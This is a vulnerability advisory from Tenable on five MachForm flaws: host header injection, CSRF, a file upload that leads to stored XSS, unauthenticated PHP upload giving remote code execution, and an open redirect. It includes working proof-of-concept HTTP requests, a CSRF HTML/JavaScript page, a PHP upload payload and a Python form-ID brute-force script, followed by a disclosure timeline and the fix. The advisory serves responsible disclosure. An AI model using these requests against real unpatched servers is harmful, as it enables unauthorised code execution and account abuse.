Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

Machform Multiple Vulnerabilities

High
← View More Research Advisories

Synopsis

(1) HTTP Host Header Injection - CVE-2021-20101

 

CVSSv3 Base Score: 4.3

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N

CWE: 20

 

MachForm is vulnerable to HTTP host header injection which is caused by improper validation of the host header.

 

This vulnerability could be exploited via web cache poisoning. This would involve an attacker poisoning the cache of a caching proxy run by the application, such as a CDN for example. This would result in the victim being forced to receive malicious content - including crafted host headers.

 

The request/response shown below is an example of what the victim would be served. We can see that the user is directed away from their intended site to a potentially malicious one ‘https://evil.site/’.

 

This vulnerability is found in many locations within this application where users are redirected to a location based on the user’s host header.

 

=========================== 

Proof of concept

 

To reproduce this issue, send the below request to the target.

 

GET /machform/export_entries.php HTTP/1.1

Host: tenable.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

 

You will then see that you are redirected to the tenable.com domain

 

=================================================

(2) Cross-Site Request Forgery (CSRF) - CVE-2021-20102

 

CVSSv3 Base Score: 6.3

CVSSv3 Vector: (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L)

CWE: 352

 

There is no CSRF protection for MachForms. We can see in the POST request below that there is no CSRF token being used. By crafting malicious links or pages and tricking a victim user into visiting these links/pages, the attacker could force the victim user into performing sensitive application actions.

 

POST /machform/upload.php HTTP/1.1

Host: <target address>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------3605352724035825752253110767

Content-Length: 622

Connection: close


-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="Filedata"; filename="test.pht"


Content-Type: image/jpeg


<?php

phpinfo();

?>


-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="form_id"


11791

-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="element_id"


39

-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="file_token"


c7274582933239cb9789c0bf1615cf8e

-----------------------------3605352724035825752253110767--



An attacker could exploit this issue by creating a dummy page that would execute javascript in an authenticated user's session if they were tricked into using the malicious dummy page.

 

==========================

Proof of concept

 

The below HTML and javascript can be used to stage a dummy example site. If a user browses to the dummy site and submits the form, a malicious request will be sent on behalf of the user that will upload a .pht file.

 

Below is an example dummy site for demonstration purposes. Note that to test this you will need to change the IP address in the HTML page to that of a server running MachForms.

 

<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <script>

      function submitRequest()

      {

        var xhr = new XMLHttpRequest();

        xhr.open("POST", "https:\/\/<target address>\/machform\/upload.php", true);

        xhr.setRequestHeader("Accept", "*\/*");

        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");

        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------3605352724035825752253110767");

        xhr.withCredentials = true;

        var body = "-----------------------------3605352724035825752253110767\r\n" + 

          "Content-Disposition: form-data; name=\"Filedata\"; filename=\"test.pht\"\r\n" + 

          "\r\n" + 

          "Content-Type: image/jpeg\r\n" + 

          "\r\n" + 

          "\x3c?php\r\n" + 

          "phpinfo();\r\n" + 

          "?\x3e\n" + 

          "\r\n" + 

          "-----------------------------3605352724035825752253110767\r\n" + 

          "Content-Disposition: form-data; name=\"form_id\"\r\n" + 

          "\r\n" + 

          "11791\r\n" + 

          "-----------------------------3605352724035825752253110767\r\n" + 

          "Content-Disposition: form-data; name=\"element_id\"\r\n" + 

          "\r\n" + 

          "39\r\n" + 

          "-----------------------------3605352724035825752253110767\r\n" + 

          "Content-Disposition: form-data; name=\"file_token\"\r\n" + 

          "\r\n" + 

          "c7274582933239cb9789c0bf1615cf8e\r\n" + 

          "-----------------------------3605352724035825752253110767--\r\n";

        var aBody = new Uint8Array(body.length);

        for (var i = 0; i < aBody.length; i++)

          aBody[i] = body.charCodeAt(i); 

        xhr.send(new Blob([aBody]));

      }

    </script>

    <form action="#">

      <input type="button" value="Submit request" onclick="submitRequest();" />

    </form>

  </body>

</html>



=================================================

(3) Unauthenticated File Upload / Extension filter bypass - CVE-2021-20103

 

CVSSv3 Base Score: 7.1

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N

CWE: 434

 

It was noted during testing that the target is vulnerable to stored cross site scripting due to insufficient sanitisation of file attachments uploaded with forms through upload.php. To exploit this the attacker would need to append a null byte to the uploaded file name to bypass the extension validation.

 

An unauthenticated attacker could exploit this issue by injecting malicious javascript into an attachment that would be executed when browsed to. This could be used to steal other user cookies and force users to make actions without their knowledge.

 

==========================

Proof of concept

To reproduce this issue, send the below request to the MachForm target. Note: You will need to change the target IP address in the host header to that of your own target.

 

POST /machform/upload.php HTTP/1.1

Host: <your target address>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------3605352724035825752253110767

Content-Length: 597

Connection: close


-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="Filedata"; filename="test.html%00"


<script>alert('File upload to XSS')</script>


-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="form_id"


123

-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="element_id"


39

-----------------------------3605352724035825752253110767

Content-Disposition: form-data; name="file_token"


faketoken

-----------------------------3605352724035825752253110767--



You can see that when browsed to, the browser renders our uploaded HTML and JavaScript.

 

=================================================

(4) Unauthenticated File Upload RCE - CVE-2021-20104

 

CVSSv3 Base Score: 8.1

CVSSv3 Vector: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE: 434

 

MachForm is vulnerable to unauthenticated remote code execution due to not checking for certain file extensions of file attachments uploaded through upload.php.

 

The system we are testing this on uses PHP 7.0 and Apache2 version 2.4.25 and supports the following file extensions by default in Apache2: .php, .php3, .php4, .php5, .php7, .pht, .phtml and .phps. In the below code snippet we can see that the pht, php7, and phps file extensions are missing from the extension blacklist. 

 

 

This means that we are able to upload arbitrary PHP code with the pht or php7 extensions and have the remote server execute that code. In the cases below, the phpinfo() function has been called in the uploaded file.

 

.pht upload example



.php7 upload example

 

Note that different PHP versions support different extensions. For example, PHP 7.4 supports .phar, .php, .phps and .phtml. In that case MachForm would still be vulnerable as it does not check for the .phar or .phps file extensions.

 

An unauthenticated attacker could exploit this issue by injecting malicious PHP code into a form attachment with the pht or php7 extensions and then have the remote server execute that code as whatever user owns the MachForm process.

 

Note: In order for an attacker to exploit this vulnerability, an active form must already exist on the MachForm instance, and the attacker would have to discover the form ID by brute forcing. An example Python script they could use to achieve this could be similar to the below:

 

import requests


Target_address = ‘x.x.x.x’


for i in range(1,20000):

  print('Testing ID: {}'.format(i))

  id_probe = requests.get('https://’ + target_address + ’/machform/embed.php?id={}'.format(i))

  if id_probe.text != 'This is not valid form URL.':

    id = i

    break


print('ID: {}'.format(id))

 

The attacker would also need to discover the filename of the uploaded file which further increases the complexity to exploit this vulnerability.

 

=========================

 

Proof of concept

 

An example of how to upload a pht file and remove the .tmp can be seen in the below sequence of requests.

 

Initial file upload:

 

POST /machform/upload.php HTTP/1.1

Host: <your host>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------21333666862359421718924202306

Content-Length: 637

Connection: close

Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1


-----------------------------21333666862359421718924202306

Content-Disposition: form-data; name="Filedata"; filename="test.pht"

Content-Type: application/octet-stream


<?php

phpinfo();

?>


-----------------------------21333666862359421718924202306

Content-Disposition: form-data; name="form_id"


11791

-----------------------------21333666862359421718924202306

Content-Disposition: form-data; name="element_id"


39

-----------------------------21333666862359421718924202306

Content-Disposition: form-data; name="file_token"


f9bf32a6f41cac20da8596a42ef51e59

-----------------------------21333666862359421718924202306--

 

Embed file 1 (gets cookie):

POST /machform/embed.php HTTP/1.1

Host: <your host>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------22398072442924133683001116694

Content-Length: 5568

Connection: close

Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1

Upgrade-Insecure-Requests: 1


-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_1_1"


7

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_1_2"


5

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_1_3"


2021

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_1_datepick"


05/07/2021

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_31_1"


test

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_31_2"


test

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_33"


123456789

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_32_1"


test

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_32_2"


test

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_15"


1

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_16"


1

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_17"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_18"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_19"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_20"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_21"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_22"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_40"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_3_1"


5

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_3_2"


5

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_3_3"


2021

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_3_datepick"


05/05/2021

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_35"


1

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_5"


111

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_34"


test

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_26"


test

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_12"


None

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_7_3"


1

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_7_other"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_6_6"


1

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_8"


0

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_24"


2

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_25"


2

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_36"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_37"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_9"


2

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_10"


2

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_11"


2

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_13"


2

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_38"



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_23"


1

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_39"; filename=""

Content-Type: application/octet-stream



-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="element_39_token"


f9bf32a6f41cac20da8596a42ef51e59

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="form_id"


11791

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="submit_form"


1

-----------------------------22398072442924133683001116694

Content-Disposition: form-data; name="page_number"


1

-----------------------------22398072442924133683001116694--

 

Embed file 2:

POST /machform/embed.php HTTP/1.1

Host: <your host>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------99045264520754095121259953242

Content-Length: 5562

Connection: close

Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1

Upgrade-Insecure-Requests: 1


-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_1_1"


7

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_1_2"


5

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_1_3"


2021

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_1_datepick"


05/07/2021

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_31_1"


test

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_31_2"


test

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_33"


123456789

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_32_1"


test

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_32_2"


test

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_15"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_16"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_17"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_18"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_19"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_20"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_21"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_22"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_40"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_3_1"


5

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_3_2"


5

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_3_3"


2021

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_3_datepick"


05/05/2021

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_35"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_5"


111

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_34"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_26"


2

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_12"


None

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_7_3"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_7_other"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_6_6"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_8"


0

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_24"


2

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_25"


2

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_36"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_37"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_9"


2

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_10"


2

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_11"


2

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_13"


2

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_38"



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_23"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_39"; filename=""

Content-Type: application/octet-stream



-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="element_39_token"


f9bf32a6f41cac20da8596a42ef51e59

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="form_id"


11791

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="submit_form"


1

-----------------------------99045264520754095121259953242

Content-Disposition: form-data; name="page_number"


1

-----------------------------99045264520754095121259953242--



Confirm 1:

GET /machform/confirm_embed.php?mfsid=&id=11791 HTTP/1.1

Host: <your host>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1

Upgrade-Insecure-Requests: 1

 

Confirm 2:

POST /machform/confirm_embed.php HTTP/1.1

Host: <your host>

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

Connection: close

Cookie: _ga=GA1.2.832054924.1614855353; PHPSESSID=jcgvfgsu37j8sk7lsedutieb41; mf_has_cookie=1

Upgrade-Insecure-Requests: 1


id=11791&mf_page_from=0&review_submit=1

 

Note: You will need to change the target IP address in the host header to that of your own target.

 

=================================================

(5) Open Redirect - CVE-2021-20105

 

CVSSv3 Base Score: 4.7

CVSSv3 Vector: AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:L/A:N

CWE: 601

 

Safari_init.php is susceptible to an open redirect vulnerability. An attacker can craft the value of the $_GET[‘ref’] parameter in a URL to subsequently control the value of the ‘Location’ HTTP response header. This can be abused in phishing attacks to redirect the browser/user to a malicious web page of the attacker’s choosing. 

 

$referrer = trim($_GET['ref']);

$referrer = htmlspecialchars(base64_decode($referrer),ENT_QUOTES);

 

setcookie("mf_safari_cookie_fix", "1", 0); //cookie expire at the end of session (browser being closed)

 

header("Location: {$referrer}");

 

========================

Proof of Concept

 

For example, the following URL will redirect the user to http://google.com. The value of ‘ref’ is Base64-encoded here.

 

/machform/safari_init.php?ref=aHR0cDovL2dvb2dsZS5jb20=

 

And the response:

 

HTTP/2 302 Found

Date: Mon, 10 May 2021 18:33:52 GMT

Server: Apache

Expires: Thu, 19 Nov 1981 08:52:00 GMT

Cache-Control: no-store, no-cache, must-revalidate

Pragma: no-cache

Set-Cookie: mf_safari_cookie_fix=1

Location: http://google.com

Content-Length: 0

Content-Type: text/html; charset=UTF-8

 

Solution

Upgrade to version 16 or later

Additional References

https://www.machform.com/blog-machform-16-released/

Disclosure Timeline

05/12/2021 - Tenable asks for MachForm security contact via Contact Us form.
05/13/2021 - MachForm provides a security contact.
05/13/2021 - Tenable sends vulnerability report. 90-day date is August 11, 2021.
05/13/2021 - AppNitro thanks us. They will get back to us.
05/15/2021 - AppNitro can confirm most vulns. Raises a question about the file upload.
05/19/2021 - Tenable explains the finding and scoring.
05/19/2021 - AppNitro thanks us for clarification. They plan to release a fix before the end of next month. Asks us how we would like to be credited.
05/20/2021 - Tenable provides credit line.
06/21/2021 - AppNitro provides status update and states release of June 28. Tenable acknowledges.
06/28/2021 - AppNitro sends information regarding patch publication.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

Tenable Advisory ID: TRA-2021-25
Credit:
Derrie Sutton
CVSSv3 Base / Temporal Score:
8.1 / 7.3
CVSSv3 Vector:
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected Products:
Machform prior to v16
Risk Factor:
High

Advisory Timeline

06/28/2021 - Initial release.
Try for free Buy now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now
Try for free Buy now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now
Try for free Buy now

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy.

Your Tenable Vulnerability Management trial also includes Tenable Lumin and Tenable Web App Scanning.

Tenable Vulnerability Management

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

100 assets

Choose your subscription option:

Buy Now
Try for free Buy now

Try Tenable Web App Scanning

Enjoy full access to our latest web application scanning offering designed for modern applications as part of the Tenable One Exposure Management platform. Safely scan your entire online portfolio for vulnerabilities with a high degree of accuracy without heavy manual effort or disruption to critical web applications. Sign up now.

Your Tenable Web App Scanning trial also includes Tenable Vulnerability Management and Tenable Lumin.

Buy Tenable Web App Scanning

Enjoy full access to a modern, cloud-based vulnerability management platform that enables you to see and track all of your assets with unmatched accuracy. Purchase your annual subscription today.

5 FQDNs

$3,578

Buy Now

Try for free Contact sales

Try Tenable Lumin

Visualize and explore your exposure management, track risk reduction over time and benchmark against your peers with Tenable Lumin.

Your Tenable Lumin trial also includes Tenable Vulnerability Management and Tenable Web App Scanning.

Buy Tenable Lumin

Contact a sales representative to see how Tenable Lumin can help you gain insight across your entire organization and manage cyber risk.

Request a demo of Tenable Security Center

Please fill out this form with your contact information.

A sales representative will contact you shortly to schedule a demo.

* Field is required

Request a demo of Tenable OT Security

Get the Operational Technology security you need.

Reduce the risk you don’t.

Request a demo of Tenable Identity Exposure

Continuously detect and respond to Active Directory attacks. No agents. No privileges.

On-prem and in the cloud.

Request a demo of Tenable Cloud Security

Exceptional unified cloud security awaits you!

We’ll show you exactly how Tenable Cloud Security helps you deliver multi-cloud asset discovery, prioritized risk assessments and automated compliance/audit reports.

See
Tenable One
in action

Exposure management for the modern attack surface.

See Tenable Attack Surface Management in action

Know the exposure of every asset on any platform.

Get a demo of Tenable Enclave Security

Please fill out the form with your contact information and a sales representative will contact you shortly to schedule a demo.

Try for free Buy now

Try Tenable Nessus Professional free

Free for 7 days

Tenable Nessus is the most comprehensive vulnerability scanner on the market today.

NEW - Tenable Nessus Expert
now available

Nessus Expert adds even more features, including external attack surface scanning, and the ability to add domains and scan cloud infrastructure. Click here to Try Nessus Expert.

Fill out the form below to continue with a Nessus Pro trial.

Buy Tenable Nessus Professional

Tenable Nessus is the most comprehensive vulnerability scanner on the market today. Tenable Nessus Professional will help automate the vulnerability scanning process, save time in your compliance cycles and allow you to engage your IT team.

Buy a multi-year license and save. Add Advanced Support for access to phone, community and chat support 24 hours a day, 365 days a year.

Select your license

Buy a multi-year license and save.

Add support and training
Buy Now
Renew an existing license Find a reseller
Try for free Buy now

Try Tenable Nessus Expert free

Free for 7 days.

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Already have Tenable Nessus Professional?
Upgrade to Nessus Expert free for 7 days.

Buy Tenable Nessus Expert

Built for the modern attack surface, Nessus Expert enables you to see more and protect your organization from vulnerabilities from IT to the cloud.

Select your license

Buy a multi-year license and save more.

Add support and training
Buy Now
Renew an existing license Find a reseller

Get a demo of Tenable Patch Management

Interested in streamlining security and IT collaboration and shortening the mean time to remediate with automation? Try Tenable Patch Management.